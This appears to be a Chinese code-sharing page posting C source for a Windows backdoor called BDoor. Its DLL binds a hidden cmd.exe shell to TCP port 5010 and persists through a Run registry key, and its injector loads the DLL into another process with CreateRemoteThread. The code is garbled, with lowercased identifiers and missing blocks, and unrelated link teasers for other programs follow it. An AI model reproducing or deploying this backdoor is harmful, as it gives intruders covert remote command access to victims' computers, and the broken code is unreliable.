後門程式BDoor原始碼

2021-04-06 20:51:07 字數 4930 閱讀 6407

#include "stdafx.h"

#include "winsock2.h"

#pragma comment(lib,"ws2_32")

#define port 5010

#define reg_run "software//microsoft//windows//currentversion//run"

struct threadparam

;dword winapi controlthread(void *no);

dword winapi bdoor(void *lp);

dword winapi recvthread(void *lp);

dword winapi sendthread(void *lp);

dword winapi writereg(void *no);

bool apientry dllmain( handle hmodule,

dword  ul_reason_for_call,

lpvoid lpreserved

)case dll_process_detach:

}return true;

}dword winapi controlthread(void *no)

if((listensock=socket(af_inet,sock_stream,ipproto_tcp))==invalid_socket)

sockaddr_in localaddr,inaddr;

int addrlen=sizeof(inaddr);

localaddr.sin_addr.s_un.s_addr=0;

localaddr.sin_family=af_inet;

localaddr.sin_port=htons(port);

if(bind(listensock,(sockaddr *)&localaddr,sizeof(localaddr))==socket_error)

listen(listensock,5);

while(true)

closesocket(listensock);

::wsacleanup();

}dword winapi writereg(void *no)

;int ret=::getsystemdirectory(syspath,max_path);

if(syspath[ret-1]!='//')

strcat(syspath,"//");

strcat(syspath,"dllinjection.exe");

int len=strlen(syspath);

while(true)

return 0;

}dword winapi bdoor(void *lp)

;sec.nlength=sizeof(sec);

sec.lpsecuritydescriptor=null;

sec.binherithandle=true;

createpipe(&hcmdin,&hwrite,&sec,0);

createpipe(&hread,&hcmdout,&sec,0);

char cmddir[max_path]=;

::getsystemdirectory(cmddir,max_path);

if(cmddir[strlen(cmddir)-1]!='//')

strcat(cmddir,"//");

strcat(cmddir,"cmd.exe");

startupinfo startupinfo=;

startupinfo.cb=sizeof(startupinfo);

startupinfo.dwflags=startf_useshowwindow|startf_usestdhandles;

startupinfo.wshowwindow=sw_hide;

startupinfo.hstderror=startupinfo.hstdoutput=hcmdout;

startupinfo.hstdinput=hcmdin;

process_information processinfo=;

int ret=createprocess(cmddir,null,null,null,true,0,null,null,&startupinfo,&processinfo);

if(ret==0)

closehandle(hcmdin);

closehandle(hcmdout);

dword id1,id2;

handle hrecvthread,hsendthread;

threadparam recvparam=,sendparam=;

recvparam.sock=sock;

recvparam.handle=hwrite;

hrecvthread=createthread(null,0,recvthread,&recvparam,0,&id1);

sendparam.sock=sock;

sendparam.handle=hread;

hsendthread=createthread(null,0,sendthread,&sendparam,0,&id2);

ulong code;

::waitforsingleobject(hrecvthread,infinite);

::getexitcodethread(hsendthread,&code);

::terminatethread(hsendthread,code);

::getexitcodeprocess(processinfo.hprocess,&code);

::terminateprocess(processinfo.hprocess,code);

closesocket(sock);

closehandle(hwrite);

closehandle(hread);

return 0;

}dword winapi recvthread(void *lp)

;threadparam param=*((threadparam *)lp);

while(1)

;int ret=recv(param.sock,temp,1,0);

if(ret==0)

else if(ret==1)

ulong len;

::writefile(param.handle,cmd,strlen(cmd),&len,null);

memset(cmd,0,256);}}

}return 0;

}dword winapi sendthread(void *lp)

;while(1)

sleep(100);

}return 0;

}#include "stdafx.h"

#include "windows.h"

#include "stdlib.h"

#include "tlhelp32.h"

#include "io.h"

long getprocessid(char *processname);

int apientry winmain(hinstance hinstance,

hinstance hprevinstance,

lpstr     lpcmdline,

int       ncmdshow)

;char *premoteaddr=null;

int ret=::getsystemdirectory(pdllpath,max_path);

if(pdllpath[ret-1]!='//')

strcat(pdllpath,"//");

strcat(pdllpath,"bdoor.dll");

if(::_access(pdllpath,0)==-1)

return -1;

premoteaddr=(char*)::virtualallocex(hprocess,null,strlen(pdllpath)+1,mem_commit,page_readwrite);

if(premoteaddr==null)

return -1;

ret=::writeproces**emory(hprocess,premoteaddr,pdllpath,strlen(pdllpath),null);

if(ret==0)

return -1;

handle hremotethread=::createremotethread(hprocess,null,0,pthreadproc,premoteaddr,0,null);

sleep(100);

::virtualfreeex(hprocess,premoteaddr,strlen(pdllpath)+1,mem_decommit);

::closehandle(hprocess);

return 0;

}long getprocessid(char *processname)

; bool fret;

pe32.dwsize=sizeof(processentry32);

fret=process32first(hsnapshot,&pe32);

if(!fret)

return -1;

int g=0;

char drive[_max_drive]=;

char dir[_max_dir]=;

char fname[_max_fname]=;

char ext[_max_ext]=;

do }while(process32next(hsnapshot,&pe32));

if(g!=1)

return -1;

return pe32.th32processid;

}

整人程式原始碼 VB

程式採用了vb6.0編寫,form1.frm 窗體 如下 version 5.00 begin vb.form form1 caption 你是煞筆嗎?clientheight 3135 clientleft 60 clienttop 405 clientwidth 4680 linktopic f...

網頁表白程式原始碼

function password testv 1 var pass1 prompt 好傷心 再考慮一下唄?if pass1 password testv 10 location.href index.html return document.write password 今天是我們在一起的第一天 ...

TTCP程式原始碼剖析

1 ttcp作用 檢測tcp吞吐量 測試的資料是每秒傳輸的位元組數 頻寬 mb s 測試程式的效能指標 傳輸頻寬,qps tps,以及 cpu利用率,延遲等等。2 ttcp應用層協議 3.嘗試自己用c語言寫出簡單的ttcp程式 先傳送一個sessionmessage包中number表示訊息的條數,l...

語錄小程式原始碼

去年冬天開發了一款語錄小程式,採用雲開發,無需域名和伺服器就可以搭建。本語錄小程式擁有分類愛情語錄 傷感語錄 人生格言 搞笑句子 表白句子語錄 古風優美語錄 經典語錄 勵志語錄等 語錄小程式整體設計以簡潔大方,美觀為主要元素,主題色調以粉色為主,更能突出在內心情感方面的少女心。尋找戀愛的感覺 本小程...

C程式常用演算法原始碼

摘自 演算法 algorithm 計算機解題的基本思想方法和步驟。演算法的描述 是對要解決一個問題或要完成一項任務所採取的方法和步驟的描述,包括需要什麼資料 輸入什麼資料 輸出什麼結果 採用什麼結構 使用什麼語句以及如何安排這些語句等。通常使用自然語言 結構化流程圖 偽 等來描述演算法。一 計數 求...